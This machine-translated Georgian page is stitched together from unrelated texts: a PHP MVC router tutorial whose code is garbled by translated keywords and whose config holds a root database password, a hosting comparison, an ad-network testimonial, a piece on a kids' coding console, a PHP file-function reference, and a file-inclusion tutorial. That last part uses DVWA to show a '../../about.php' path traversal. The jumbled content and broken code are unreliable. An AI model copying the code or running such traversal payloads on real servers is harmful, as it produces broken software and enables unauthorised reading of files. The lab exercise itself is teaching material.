php ფაილის გამოგონილი ნახვა. ლოკალური და დისტანციური ფაილის ინექცია: დაუცველობების გამოყენება და ფილტრების გვერდის ავლით. გვერდის ავლით ფილტრაცია ფაილების ადგილობრივად ჩართვისას

შაბლონებიდან კმაყოფილი ვიყავი mvc-ით, რეესტრით. მოთხოვნებისთვის დავწერე პატარა აბსტრაქციული ფენა, მარშრუტიზაციისთვის - ჩემი მოთხოვნის გარჩევის ფუნქცია.
ვებ აპლიკაციის სტრუქტურა ასეთი იქნება

განაცხადის საქაღალდე

შეყვანის ფაილი index.php მოიცავს bootstrap.php. ეს, თავის მხრივ, აკავშირებს ბირთვს, კონფიგურაციის ფაილს, ზოგიერთ ბიბლიოთეკას და იწყებს როუტერს.

გამოიყენეთ Core\Route; require_once "lib/registry.php"; require_once "config.php"; require_once "lib/datebase.php"; require_once "core/model.php"; require_once "core/view.php"; require_once "core/controller.php"; require_once "core/route.php"; $router = new Route(); $router->start(); //ჩართეთ როუტერი

რეესტრი მარტივია:

სახელთა სივრცის Lib; კლასი Lib_Registry (სტატიკური პირადი $data = array(); სტატიკური საჯარო ფუნქციების ნაკრები ($key, $value) (self::$data[$key] = $value; ) სტატიკური საჯარო ფუნქცია get($key) ( დაბრუნება isset(self::$data[$key]) self::$data[$key] : null ) სტატიკური საჯარო ფუნქცია წაშლა($key) (if (isset(self::$data[$key])) ( unset (self::$data[$key]);

აქ არის მიმღებები და სეტერები გლობალური მნიშვნელობების შესანახად.

გამოიყენეთ Lib\Lib_Registry;

define("PATH_SITE", $_SERVER["DOCUMENT_ROOT"]); define("HOST", "localhost"); define("USER", "root");

define("PASSWORD", "mypass");

ვინაიდან სამომავლოდ ვგეგმავთ ადმინისტრაციული პანელის შექმნას, შევქმნით კლიენტის და ადმინისტრატორის საქაღალდეებს. სხვათა შორის, ჩვენი როუტერი გაითვალისწინებს ქვესაქაღალდეებს, ე.ი. შესაძლებელი იქნება ქვესაქაღალდეების შექმნა კონტროლერებში (მაგ. /about/contacts/contacts.php) და წვდომა მის გზაზე /about/contacts/
ასე რომ, ჩვენ დავიწყეთ როუტერი

/** * */ საჯარო ფუნქციის დაწყება() ( // დაიჭირე AJAX მოთხოვნა, თუ ($this->getIsAjaxRequest()) () session_start(); $this->dispatch(); ) /** * */ საჯარო ფუნქცია dispatch())( // დისპეტჩერი იღებს ფაილს, რომელიც შეესაბამება კონტროლერის სახელს, მოქმედებას და არგუმენტებს $this->getDirections($file, $controller, $action, $args); /* ******* ***** * include Controller - Model */ if (is_readable($file) == false) ( die ("File $file 404 Not Found"); ) // include controller include ($file =); str_replace("კონტროლერი" , "model", $file // დამატებითი მოდელი if(is_readable($model))( // დაკავშირება მოდელი მოიცავს($model); ) /* ****** მიიღეთ კლასი); ** */ $controller = ucfirst($controller = ucfirst($this->namespace)."\Controller_" $controller = new $class($this->controller_path_folder); );

დისპეტჩერი უწოდებს getDirections() მეთოდს, ე.ი. მიიღეთ მოთხოვნის დირექტივები. ნაგულისხმევად, ნაგულისხმევი კონტროლერი არის სტატიები, მოქმედება არის ინდექსი.

/** * @param $file * @param $controller * @param $action * @param $args */ პირადი ფუნქცია getDirections(&$file, &$controller, &$action, &$args) ( $route = ( ცარიელი ($_SERVER["REQUEST_URI"]) "" : $_SERVER["REQUEST_URI"]; = $this-> path if (ცარიელი($route)) ( /* ******************* ნაგულისხმევი მიმართულებები ******** */ $; controller = "სტატიები" = "action_index" $this->controller_path_folder = "application/controllers/$this->namespace.$controller." else ( $parts = აფეთქება ("/", $route); /* ************** სახელთა სივრცე ********** */ if($parts = = "admin") ($this->namespace = "admin"; array_shift($parts); ) /* ***************** საქაღალდეები და ქვესაქაღალდეები ***** * * */ $fullpath = $this->controller_path_folder = $controller_path . $ნაწილები);

გაგრძელება;

) if (is_file ($fullpath . ".php")) ( array_shift ($parts); $file = "$fullpath.php"; break; ) ) /* ************* ** კონტროლერი, მოქმედება, პარამეტრები ******** */ if(!isset($part)) $part = "სტატიები";

$კონტროლერი = $ნაწილი;
if(!$file) $file = $fullpath."/$part.php";

$action = array_shift ($ნაწილები);

if(!$action) $action = "action_index";

else $action = "action_$action";

ვებსაიტის მომხმარებლების უმეტესობა არის Linux ან Windows. ეს დაკავშირებულია მუშაობის დროთან. ორივე პლატფორმა უზრუნველყოფს, რომ თქვენი ვებსაიტი დროთა 99% -შია.

1.მორგება

ერთ-ერთი მთავარი განსხვავება Linux Reseller Hostingplan-სა და ერთი Windows-ის მიერ მოწოდებული არის პერსონალიზაციის შესახებ. მიუხედავად იმისა, რომ თქვენ შეგიძლიათ ექსპერიმენტი ორივე მოთამაშესთან რამდენიმე გზით, Linux ბევრად უფრო კონფიგურირებადია, ვიდრე Windows. ამ უკანასკნელს უფრო მეტი ფუნქციები აქვს, ვიდრე მის კოლეგას და სწორედ ამიტომ, ბევრი დეველოპერი და ადმინისტრატორი Linux-ს ძალიან მოსახერხებელია მომხმარებლისთვის.

2. აპლიკაციები

სხვადასხვა გადამყიდველის ჰოსტინგის სერვისებს აქვთ განსხვავებული აპლიკაციები. Linux-ს და Windows-ს ორივეს აქვს აპლიკაციების საკუთარი მასივი, მაგრამ ამ უკანასკნელს აქვს უპირატესობა, როდესაც საქმე ეხება რიცხვებს და მრავალფეროვნებას. ეს დაკავშირებულია Linux-ის ღია კოდის ბუნებასთან. ნებისმიერ დეველოპერს შეუძლია ატვირთოს თავისი აპლიკაცია Linux პლატფორმაზე და ეს ხდის მას მიმზიდველ ჰოსტინგის პროვაიდერს მილიონობით ვებსაიტის მფლობელისთვის.

თუმცა, გთხოვთ გაითვალისწინოთ, რომ თუ იყენებთ Linux-ს ვებ ჰოსტინგისთვის, მაგრამ ამავე დროს იყენებთ Windows OS-ს, მაშინ ზოგიერთმა აპლიკაციამ შეიძლება უბრალოდ არ იმუშაოს.

3.სტაბილურობა

მიუხედავად იმისა, რომ ორივე პლატფორმა სტაბილურია, Linux Reseller ჰოსტინგი უფრო სტაბილურია ამ ორიდან. ეს არის ღია კოდის პლატფორმა, შეუძლია იმუშაოს რამდენიმე გარემოში. ეს პლატფორმა შეიძლება შეიცვალოს და განვითარდეს დროდადრო.

4. .NET თავსებადობა

ეს არ არის ის, რომ Linux ყველა შესაძლო გზით აღემატება Windows-ს. რაც შეეხება .NET თავსებადობას, Windows იპარავს ყურადღების ცენტრში. ვებ აპლიკაციები ადვილად შეიძლება განვითარდეს Windows ჰოსტინგის პლატფორმაზე.

5. ღირებულების უპირატესობები

ორივე ჰოსტინგის პლატფორმა ხელმისაწვდომია. მაგრამ თუ ფულადი სახსრების უკმარისობას გრძნობთ, მაშინ უნდა აირჩიოთ Linux. ის უფასოა და სწორედ ამიტომ არის მასზე არჩევანი ამდენი დეველოპერების მიერ და სისტემაადმინისტრატორები მთელ მსოფლიოში.

6. დაყენების სიმარტივე

Windows-ის დაყენება უფრო ადვილია, ვიდრე მისი ანალოგი. ყველაფერი ნათქვამი და გაკეთებულია, Windows კვლავ ინარჩუნებს მომხმარებლის კეთილგანწყობას მთელი ამ წლების განმავლობაში.

7.უსაფრთხოება

აირჩიეთ Linux reseller ჰოსტინგი, რადგან ის უფრო უსაფრთხოა ვიდრე Windows. ეს განსაკუთრებით ეხება იმ ადამიანებს, რომლებიც მართავენ თავიანთ ელექტრონული კომერციის ბიზნესს.

დასკვნა

არჩევანი ორს შორისდამოკიდებული იქნება თქვენს მოთხოვნაზე და ხარჯების მოქნილობაზე. ჰოსტინგის ორივე სერვისს აქვს უნიკალური უპირატესობები. მიუხედავად იმისა, რომ Windows მარტივია დაყენება, Linux არის ხარჯების ეფექტური, უსაფრთხო და უფრო მრავალმხრივი.



ჯერ კიდევ ამ წლის მარტში, მე მქონდა ძალიან ცუდი გამოცდილება მედია კომპანიასთან, რომელმაც უარი თქვა გადამეხადა და უპასუხა ჩემს წერილებს. მათ ჯერ კიდევ ათასობით დოლარის ვალი აქვთ და ჩემში გაბრაზების გრძნობა ყოველდღიურად მეუფლება. თურმე მარტო არ ვარ და ასობით სხვა ვებგვერდის მფლობელი იმავე ნავშია. ეს ერთგვარი თანაბარია ციფრული რეკლამის კურსისთვის.

გულწრფელად რომ გითხრათ, მე მაქვს ეს ბლოგი დიდი ხანია და წარსულში ვტრიალებდი სხვადასხვა სარეკლამო ქსელში. მას შემდეგ, რაც ამ კომპანიისგან სარეკლამო ერთეულები ამოიღეს, რომელმაც გამიჭირა, მე დავბრუნდი პირველ ადგილზე. ასევე უნდა აღვნიშნო, რომ მე არასოდეს მომწონდა Google-ის AdSense პროდუქტი, მხოლოდ იმიტომ, რომ ის რეკლამების „კასრის ფსკერს“ ჰგავს არა ხარისხის, არამედ შემოსავლის თვალსაზრისით.

როგორც მე მესმის, თქვენ გინდათ Google-ის რეკლამა თქვენს საიტზე, მაგრამ ასევე გსურთ სხვა მსხვილმა კომპანიებმა და სააგენტოებმაც გააკეთონ ეს. ამ გზით თქვენ მაქსიმალურად გაზრდით მოთხოვნას და შემოსავალს.

ჩემი უარყოფითი გამოცდილების შემდეგ მე მივიღე რეკომენდაცია კომპანია სახელად Newor Media. და თუ გულწრფელი ვარ, თავიდან არ გავყიდე, ძირითადად იმიტომ, რომ მათზე ბევრი ინფორმაცია ვერ ვიპოვე. მე ვიპოვე რამდენიმე ღირსეული მიმოხილვა სხვა საიტებზე და იქ ვინმესთან საუბრის შემდეგ, გადავწყვიტე მეცადა. მე ვიტყვი, რომ ისინი ძალიან სასარგებლოა, რომლებთანაც ოდესმე მიმუშავია, ჩემთან საკმაოდ მოკლე იყო პასუხის გაცემა და ეს მართლაც წამახალისებელი პროცესი იყო.

მე ვუშვებ რეკლამებს რამდენიმე თვეა და შემოსავალი დაახლოებით შეესაბამება იმას, რასაც სხვა კომპანიასთან ვაკეთებდი. ასე რომ, ნამდვილად ვერ ვიტყვი, არიან თუ არა ისინი სხვებზე ბევრად უკეთესი, მაგრამ სად გამოირჩევიან. არის წერტილი, რომლის დაფიქსირებაც ნამდვილად მინდა. მათთან კომუნიკაცია არ ჰგავს ნებისმიერ სხვა ქსელს, რომელიც მე მიმუშავია. აქ არის შემთხვევა, როდესაც ისინი ნამდვილად განსხვავდებიან:

მათ პირველი გადახდა დროულად მომიტანეს Paypal-ით. მაგრამ იმის გამო, რომ მე არ ვარ შეერთებულ შტატებში (და ეს ხდება ყველასთვის, ჩემი აზრით), მე მივიღე გადასახადი Paypal-დან. მე მივწერე ელფოსტით ჩემს წარმომადგენელს ამის შესახებ და ვკითხე, იყო თუ არა გზა ამის თავიდან ასაცილებლად მომავალში.

მათ თქვეს, რომ გადასახადს ვერ აირიდნენ, მაგრამ რომ ისინი ანაზღაურებენ ყველა საფასურს.... უახლესი გადახდის ჩათვლით! არა მხოლოდ ეს, არამედ ანაზღაურება მიიღეს 10 წუთში!როდის შეგეძლოთ მსგავსი მოთხოვნის გაკეთება „ფინანსთა დეპარტამენტში“ გადაგზავნის გარეშე, რომ აღარასოდეს გიპასუხოთ.

მთავარი ის არის, რომ მე მიყვარს ეს კომპანია. მე შეიძლება შევძლო სხვაგან მეტის გაკეთება, ნამდვილად არ ვარ დარწმუნებული, მაგრამ მათ ჰყავთ გამომცემელი ჩემთან ერთად. ძალიან მნიშვნელოვანი კლიენტი, როცა მათ ვესაუბრები, ეს არის სუფთა ჰაერი ინდუსტრიაში, რომელიც მომწიფებულია თაღლითობით და არარეაგირებით.

მიკროკომპიუტერები, რომლებიც შეიქმნა Raspberry Pi Foundation-ის მიერ 2012 წელს, უაღრესად წარმატებული იყო მცირეწლოვან ბავშვებში კრეატიულობის დონის ამაღლებაში და ამ ბრიტანულმა კომპანიამ დაიწყო სტარტაპ პროგრამების სწავლის კოდირების შეთავაზება, როგორიცაა pi-top an Kano. ახლა არის ახალი სტარტაპი, რომელიც იყენებს Pi ელექტრონიკას და მოწყობილობა ცნობილია როგორც Pip, ხელის კონსოლი, რომელიც გთავაზობთ სენსორულ ეკრანს, მრავალ პორტს, საკონტროლო ღილაკებს და დინამიკებს. მოწყობილობის იდეა არის ახალგაზრდების ჩართვა სათამაშო მოწყობილობით, რომელიც არის რეტრო, მაგრამ ასევე შესთავაზებს კოდის სწავლის გამოცდილებას ვებ პლატფორმის საშუალებით.

საოცარი პროგრამული პლატფორმა, რომელსაც სთავაზობენ Pip-ს, შესთავაზებს კოდირების დაწყებას Python-ში, HTML/CSS-ში, JavaScript-ში, Lua-სა და PHP-ში. მოწყობილობა გვთავაზობს ნაბიჯ-ნაბიჯ გაკვეთილებს, რათა ბავშვებს დაიწყონ კოდირება და საშუალებას აძლევს მათ, LED-ები გაანათონ. მიუხედავად იმისა, რომ პიპი ჯერ კიდევ პროტოტიპია, ის აუცილებლად იქნება დიდი დარტყმა ინდუსტრიაში და ჩაერთვება ბავშვებს, რომლებსაც აქვთ დაინტერესებული კოდირება და მიაწვდიან მათ განათლებას და რესურსებს, რომლებიც საჭიროა პატარა ასაკში კოდირების დასაწყებად.

კოდირების მომავალი

კოდირებას დიდი მომავალი აქვს და მაშინაც კი, თუ ბავშვები არ გამოიყენებენ კოდირებას კარიერად, მათ შეუძლიათ ისწავლონ კოდირების სწავლა ამ ახალი მოწყობილობით, რაც ამარტივებს, ვიდრე ოდესმე. Pip-თან ერთად, კოდირების ყველაზე ახალგაზრდა მოყვარულებიც კი ისწავლიან სხვადასხვა ენებს და კარგ გზაზე იქნებიან საკუთარი კოდების, საკუთარი თამაშების, საკუთარი აპების და სხვათა შექმნის გზაზე. ეს არის ელექტრონული ეპოქის მომავალი და პიპი საშუალებას აძლევს კოდირების ძირითადი სამშენებლო ბლოკების ათვისებას.
კომპიუტერული მეცნიერება გახდა განათლების მნიშვნელოვანი ნაწილი და ისეთი მოწყობილობებით, როგორიცაა ახალი Pip, ბავშვებს შეუძლიათ დაიწყონ განათლების გაუმჯობესება სახლში, გართობის დროს. კოდირება ბევრად სცილდება უბრალოდ ვებსაიტების ან პროგრამული უზრუნველყოფის შექმნას. ის შეიძლება გამოყენებულ იქნას ქალაქში უსაფრთხოების გასაძლიერებლად, სამედიცინო სფეროში კვლევების დასახმარებლად და მრავალი სხვა. ვინაიდან ჩვენ ახლა ვცხოვრობთ სამყაროში, სადაც დომინირებს პროგრამული უზრუნველყოფა, კოდირება არის მომავალი და მნიშვნელოვანია ყველა ბავშვისთვის, სულ მცირე, ჰქონდეს საბაზისო გაგება, თუ როგორ მუშაობს ის, მაშინაც კი, თუ ისინი არასოდეს გამოიყენებენ ამ უნარებს კარიერად. მომავლის თვალსაზრისით, კოდირება ყოველდღიური ცხოვრების მნიშვნელოვანი კომპონენტი იქნება. ეს იქნება მსოფლიოს ენა და კომპიუტერების არ ცოდნამ ან როგორ მუშაობს ისინი, შეიძლება ისეთივე ძნელი დასაძლევი იყოს, როგორც გაუნათლებლობა.
კოდირება ასევე უზრუნველყოფს დიდ ცვლილებებს სათამაშო სამყაროში, განსაკუთრებით მაშინ, როდესაც საქმე ეხება ონლაინ თამაშებს, მათ შორის ონლაინ კაზინოებზე წვდომას. იმის სანახავად, თუ როგორ გააუმჯობესა კოდირებამ უკვე სათამაშო სამყარო, გადახედეთ რამდენიმე რეიტინგულ კაზინოს საიტს, რომლებიც ეყრდნობიან კოდირებას. სწრაფად გადახედეთ მას და ნახეთ, თუ როგორ შეუძლია კოდირებას წარმოადგინოს რეალისტური გარემო ონლაინ რეჟიმში.

როგორ ართმევს პიპი ბავშვებს

რაც შეეხება კოდირების სწავლის შესაძლებლობას, ბავშვებს ბევრი ვარიანტი აქვთ. არსებობს მრავალი მოწყობილობა და ტექნიკის გიზმო, რომელთა შეძენაც შესაძლებელია, მაგრამ Pip განსხვავებული მიდგომა აქვს მათი მოწყობილობით. მოწყობილობის პორტაბელურობა და სენსორული ეკრანი უპირატესობას ანიჭებს ბაზარზე არსებულ სხვა კოდირების მოწყობილობებს. Pip სრულად თავსებადია ელექტრონულ კომპონენტებთან, გარდა Raspberry Pi HAT სისტემისა. მოწყობილობა იყენებს სტანდარტულ ენებს და აქვს ძირითადი ხელსაწყოები და შესანიშნავი მოწყობილობაა ნებისმიერი დამწყები კოდირებისთვის. მიზანია მოიხსნას ნებისმიერი ბარიერი იდეასა და შემოქმედებას შორის და ინსტრუმენტები დაუყოვნებლივ იყოს ხელმისაწვდომი გამოსაყენებლად. Pip-ის კიდევ ერთი დიდი უპირატესობა ის არის, რომ ის იყენებს SD ბარათს, ამიტომ მისი გამოყენება შესაძლებელია როგორც დესკტოპ კომპიუტერად, როდესაც ის დაკავშირებულია მონიტორთან და მაუსთან.
Pip მოწყობილობა დაეხმარებოდა ბავშვებს და დაინტერესებულ დამწყებ დამწერებს ენთუზიაზმით სწავლაში და კოდირების პრაქტიკაში. ამოცანების შესრულებისა და პრობლემების გადაჭრის კომბინაციის შეთავაზებით, მოწყობილობა აუცილებლად ჩაერთვება ახალგაზრდა თაობას. შემდეგ მოწყობილობა საშუალებას აძლევს ამ ახალგაზრდა კოდერებს გადავიდნენ კოდირების უფრო მოწინავე დონეზე სხვადასხვა ენაზე, როგორიცაა JavaScript და HTML/CSS. იმის გამო, რომ მოწყობილობა იმეორებს სათამაშო კონსოლს, ის დაუყოვნებლივ მიიპყრობს ბავშვების ყურადღებას და ჩაერთვება მათ მცირე ასაკში კოდირების შესახებ. მას ასევე მოყვება რამდენიმე წინასწარ ჩატვირთული თამაში ყურადღების შესანარჩუნებლად, როგორიცაა Pac-Man და Minecraft.

მომავალი ინოვაციები

მომავალი ინოვაცია დიდწილად დამოკიდებულია ბავშვის ამჟამინდელ უნარზე კოდირებისა და პროცესის საერთო გაგებაზე. როდესაც ბავშვები ადრეულ ასაკში სწავლობენ კოდირებას ისეთი მოწყობილობების გამოყენებით, როგორიცაა ახალი Pip, ისინი შეიძენენ უნარებსა და ცოდნას, რათა შექმნან საოცარი რამ მომავალში. ეს შეიძლება იყოს ახალი თამაშების ან აპების დანერგვა ან თუნდაც იდეები, რომლებიც შეიძლება გაცოცხლდეს სამედიცინო კვლევებისა და მკურნალობის დასახმარებლად. უსასრულო შესაძლებლობებია. ვინაიდან ჩვენს მომავალს გააკონტროლებს პროგრამული უზრუნველყოფა და კომპიუტერები, ახალგაზრდობის დაწყება საუკეთესო გზაა, რის გამოც ახალი Pip მიმართულია ახალგაზრდა ხალხისკენ. კონსოლის მოწყობილობის შეთავაზებით, რომელსაც შეუძლია თამაშების თამაში კოდირების უნარების სწავლებისას, საზოგადოების ახალგაზრდა წევრები კარგ გზაზე არიან გახდნენ პროგრამული უზრუნველყოფის შემქმნელები მომავალში, რომელიც შეცვლის მთელ ჩვენს ცხოვრებას. ეს მხოლოდ დასაწყისია, მაგრამ ეს არის ის, რასაც მილიონობით ბავშვი მთელ მსოფლიოში იწყებს სწავლას და დაუფლებას. Pip-ის მსგავსი მოწყობილობების გამოყენებით, კოდირების საფუძვლები დაფარულია და ბავშვები სწრაფად ისწავლიან კოდირების სხვადასხვა ენებს, რომლებსაც შეუძლიათ საოცარ ბილიკებზე გასვლა ზრდასრულ ასაკში შესვლისას.

PHP

file_exists("test.txt")//არსებობს ფაილი? filesize("test.txt");//გაეცანით ფაილის ზომას //დაბრუნებულია დროის ანაბეჭდი: fileatime("test.txt");//ფაილის ბოლო წვდომის თარიღი //date("d M Y" , $atime); filemtime("test.txt");//ფაილის მოდიფიკაციის თარიღი //date("d M Y", $mtime); filectime("test.txt");//ფაილის შექმნის თარიღი (Windows) //date("d M Y", $ctime);

ფაილები: ოპერაციული რეჟიმები

PHP

რესურსის fopen (სტრიქონის ფაილის სახელი, სტრიქონის რეჟიმი) // რესურსი - უბრუნებს მაჩვენებელს ფაილს წარმატების შემთხვევაში, ან FALSE-ს შეცდომის შემთხვევაში
ოპერაციული რეჟიმი აღწერა
ფაილის გახსნა მხოლოდ წასაკითხად;
r+ გახსენით ფაილი კითხვისა და წერისთვის;
გახსენით ფაილი მხოლოდ ჩასაწერად. თუ ის არსებობს, მაშინ ფაილის მიმდინარე შინაარსი განადგურებულია. მიმდინარე პოზიცია დაყენებულია დასაწყისში;
w+ გახსენით ფაილი კითხვისა და წერისთვის. თუ ის არსებობს, მაშინ ფაილის მიმდინარე შინაარსი განადგურებულია. მიმდინარე პოზიცია დაყენებულია დასაწყისში;
გახსენით ფაილი ჩასაწერად. მიმდინარე პოზიცია დაყენებულია ფაილის ბოლოს;
a+ გახსენით ფაილი კითხვისა და წერისთვის. მიმდინარე პოზიცია დაყენებულია ფაილის ბოლოს;
დაამუშავეთ ბინარული ფაილი. ეს დროშა საჭიროა Windows-ზე ბინარულ ფაილებთან მუშაობისას.

ფაილების გახსნა და დახურვა PHP-ში

PHP

$fi = fopen("test.html", "w+") ან die ("შეცდომა"); //მაგალითები $fi = fopen("http://www.you/test.html","r"); $fi = fopen ("http://ftp.you/test.html", "r"); //fclose-ის დახურვა ($fi)

ფაილების კითხვა PHP-ში

PHP

//ფაილის წაკითხვა fread(int fi, int length) $str = fread($fi, 5); // წაიკითხეთ პირველი 5 სიმბოლო echo $str;

// ვინაიდან კურსორი გადავიდა $str = fread($fi, 12); // წაიკითხეთ შემდეგი 12 სიმბოლო echo $str; fgets(int fi[, int length]) // წაიკითხეთ სტრიქონი ფაილიდან fgetss(int fi, int სიგრძე [, დასაშვებია სტრიქონი]) // წაიკითხეთ სტრიქონი ფაილიდან და გააუქმეთ HTML ტეგები // string დასაშვებია - ტეგები, რომლებიც უნდა დარჩეს fgetc(int fi) //კითხულობს სიმბოლოს ფაილიდან თავდაპირველად, Write მოხდება ფაილის დასაწყისში, არსებული მონაცემების გადაწერით, ასეთის არსებობის შემთხვევაში. ამიტომ, თუ თქვენ გჭირდებათ რაიმეს დაწერა ფაილის ბოლომდე, უნდა დააყენოთ შესაბამისიკითხვის რეჟიმი

მაგალითად, a+.

PHP

კურსორის მანიპულირება PHP ფაილებში

int fseek(int fi, int offset [, int wherece]) //კურსორის დაყენება // int fi - ფაილის მაჩვენებელი //offset - გადასატანი სიმბოლოების რაოდენობა. //whence: //SEEK_SET - მოძრაობა იწყება ფაილის დასაწყისიდან; //SEEK_CUR - მოძრაობა იწყება მიმდინარე პოზიციიდან; //SEEK_END - მოძრაობა იწყება ფაილის ბოლოდან. fseek($fi, -10, SEEK_END); //წაიკითხეთ ბოლო 10 სიმბოლო $s = fread($fi, 10); $pos = ftell($fi); //გაეცანით მიმდინარე პოზიციის გადახვევას($f)//კურსორის bool feof($f) გადატვირთეთ //ფაილის დასასრული

PHP

მასივის ფაილი (სტრიქონის ფაილის სახელი) // მიიღეთ ფაილის შინაარსი მასივის სახით // სხვა ვარიანტი მონაცემებით უშუალოდ მუშაობისთვის file_get_contents(string ფაილის სახელი) // წაკითხვა (მთელი ფაილის მიღება ერთ ხაზზე) // ჩაწერა ფაილი (თავდაპირველად გადაწერილი) file_put_contents (სტრიქონის ფაილის სახელი, შერეული მონაცემები[,int flag]); //FILE_APPEND // ფაილის ბოლომდე ჩაწერეთ: file_put_contents("test.txt", "data", FILE_APPEND); //თუ დაწერთ მასივს, $array = array("I", "live"); file_put_contents("test.txt",$array); //შემდეგ მივიღებთ "Ilive"-ს

ფაილების მართვა php-ში

PHP

კოპირება (სტრიქონის წყარო, სტრიქონის დანიშნულება); // ფაილის გადარქმევის კოპირება (str oldname, str newname); // ფაილის გადარქმევა unlink(string filename); // ფაილის წაშლა

ფაილების ატვირთვა PHP სერვერზე

//PHP.ini პარამეტრები file_uploads (ჩართვა|გამორთვა) // დაუშვას ან აკრძალოს ფაილის ატვირთვა upload_tmp_dir // დროებითი საქაღალდე ატვირთული ფაილებისთვის. ნაგულისხმევად დროებითი საქაღალდე upload_max_filesize (ნაგულისხმევი = 2 Mb) // მაქს. ფაილის ატვირთვის ზომა post_max_size // წარმოდგენილი ფორმის მთლიანი ზომა (უნდა იყოს upload_max_filesize-ზე დიდი) // მარტივი ატვირთვა

HTML

სერვერზე ფაილებთან მუშაობა

PHP

//მონაცემების მიღება $tmp = $_FILES["მომხმარებლის ფაილი"]["tmp_name"]; $name = $_FILES["მომხმარებლის ფაილი"]["სახელი"]; //ფაილის გადატანა move_uploaded_file($tmp, სახელი); გადაადგილების_ატვირთული_ფაილი ($tmp, "ატვირთვა/".სახელი); // ფაილის გადამისამართება ატვირთვის საქაღალდეში // მიმდინარე ფაილთან შედარებით // რა არის $_FILES მასივში $_FILES["userfile"]["name"] // ფაილის სახელი, მაგალითად, test.html $_FILES[ "userfile"][" tmp_name"] // ფაილის დროებითი სახელი (გზა) $_FILES["userfile"]["ზომა"] // ფაილის ზომა $_FILES["userfile"]["type"] // ფაილის ტიპი $ _FILES["მომხმარებლის ფაილი"] ["შეცდომა"] // 0 - შეცდომები არ არის, ნომერი - დიახ

ზოგჯერ ფაილის ინექციას უწოდებენ ინკლუზიას, ზოგჯერ მას განიხილება, როგორც PHP ინექციის ნაწილად (კოდის ინექცია). ეს უკანასკნელი მთლად სიმართლეს არ შეესაბამება, რადგან ფაილის ინექციის ხარვეზები აუცილებლად არ არის დაკავშირებული კოდის შესრულებასთან.

დაუცველობა შეიძლება წარმოიშვას (PHP-ში) გამონათქვამების გამოყენებისას, როგორიცაა:

  • მოითხოვს_ერთხელ,
  • მოიცავს_ერთხელ,
  • მოიცავს,
  • მოითხოვს

თითოეულ მათგანს აქვს მცირე ნიუანსი, მაგრამ საერთო არის ის, რომ პროგრამაში შედის ფაილი და ახორციელებს მას. ამ გამონათქვამებმა შეიძლება გამოიწვიოს პრობლემები, თუ ისინი გაივლიან მომხმარებლის შეყვანას და პროგრამა საკმარისად არ გაფილტრავს მას.

სხვათა შორის, დიახ, ეს არის გამონათქვამები და არა ფუნქციები. არ არის საჭირო ასე დაწერა:

Require ("somefile.php");

უფრო სასურველი ვარიანტია:

მოითხოვეთ "somefile.php";

მაგრამ ეს არის უკან დახევა, რომელსაც არაფერი აქვს საერთო დაუცველობასთან.

თუ ფაილები ჩართულია გამონათქვამების მოითხოვს_ერთჯერ, მოიცავს_ერთას, მოიცავს, მოითხოვს, მაშინ შეგვიძლია ვთქვათ, რომ კოდის ინექციაც ერთდროულად ხდება. თუმცა, შესაძლებელია ფაილების ჩართვა სერვერზე კოდის გარეშე. მაგალითად, ვებგვერდი იცვლება გარეგნობამომხმარებლის მიერ არჩეული თემიდან გამომდინარე. თემების სახელი შეესაბამება სერვერზე წაკითხული HTML ფაილების სახელს. ამ სიტუაციაში, თუ მოთხოვნა ჩამოყალიბებულია ისე, რომ წაიკითხოს ფაილი, რომელიც არ არის განკუთვნილი ამისათვის (მაგალითად, PHP ფაილი), მაშინ ბრძანებების შესრულების ნაცვლად, ის გამოჩნდება. წყარო კოდი PHP.

მომხმარებელს შეუძლია მიუთითოს დისტანციური ან ადგილობრივი ფაილი, როგორც ჩართვის ფაილი. ამის საფუძველზე გამოირჩევა ორი შესაბამისი ჯიში:

  • ადგილობრივი ფაილის ინექცია
  • დისტანციური ფაილის ინექცია

დისტანციური ჩართვის საშიშროება არის თვითნებური კოდის შესრულება დაუცველ სერვერზე. ეს ჩვეულებრივ გამოიყენება უკანა ინფექციების დროს.

ადგილობრივი ფაილის ინექციის საშიშროება არის ის, რომ მომხმარებელს შეუძლია აჩვენოს ფაილების შინაარსი, რომლის ნახვის უფლება არ აქვს (პროგრამის წყაროს კოდები, სისტემის ფაილებიპარამეტრებით და პაროლებით). ასევე, ლოკალური ჩართვით, შესაძლებელია მესამე მხარის კოდის შესრულება (მაგალითად, უკანა კარის ინფექციისთვის), თუ ფაილი მავნე კოდით ადრე იყო ატვირთული სერვერზე, ან გამოყენებული იყო ჟურნალის მოწამვლის მეთოდი, ან სხვა მეთოდები.

ფაილების ლოკალური ჩართვა არანაკლებ საშიშია, ვიდრე დისტანციური ფაილების დანერგვა.

ლოკალური ფაილის ჩაშენების გამოყენება

თქვენ შეგიძლიათ სცადოთ თქვენი ძალა ამ დაუცველობაზე Damn Vulnerable Web Application-ში (DVWA). მე ვიყენებ Web Security Dojo-ს, სადაც DVWA უკვე დაინსტალირებულია.

დავიწყოთ დაბალი დონიდან ( დაბალი DVWA უსაფრთხოება).

მოდით გადავიდეთ ფაილის ჩართვის გვერდზე http://localhost/dvwa/vulnerabilities/fi/?page=include.php

  • http://localhost/dvwa/vulnerabilities/fi/?page=file1.php
  • http://localhost/dvwa/vulnerabilities/fi/?page=file2.php
  • http://localhost/dvwa/vulnerabilities/fi/?page=file3.php

თუ ფაილის სახელის მსგავსი მნიშვნელობა (file1.php, file2.php) არგუმენტად გადაეცემა ცვლადს, მაშინ შეგვიძლია ვივარაუდოთ, რომ გამოიყენება მოიცავს. რადგან ფაილის გაფართოება .php, მაშინ, დიდი ალბათობით, ფაილი სრულდება სერვერზე (ანუ კოდის ინექცია შესაძლებელია) და არა მხოლოდ ჩვენებისთვის.

DVWA-ს აქვს გვერდი http://localhost/dvwa/about.php, ის მდებარეობს ორ დონეზე ზემოთ, ვცადოთ მისი ნახვა ასე: http://localhost/dvwa/vulnerabilities/fi/?page=../. ./ შესახებ.php

დიახ, არსებობს ლოკალური ჩართვის დაუცველობა. შესვლისას, ზედა დირექტორიებზე გადასვლები არ არის გაფილტრული ( ../ ), ჩასართავად ფაილების სია არ არის ამომწურავი (შემოთავაზებული ფაილის*.php-ის ნაცვლად, ჩვენ ავირჩიეთ about.php).

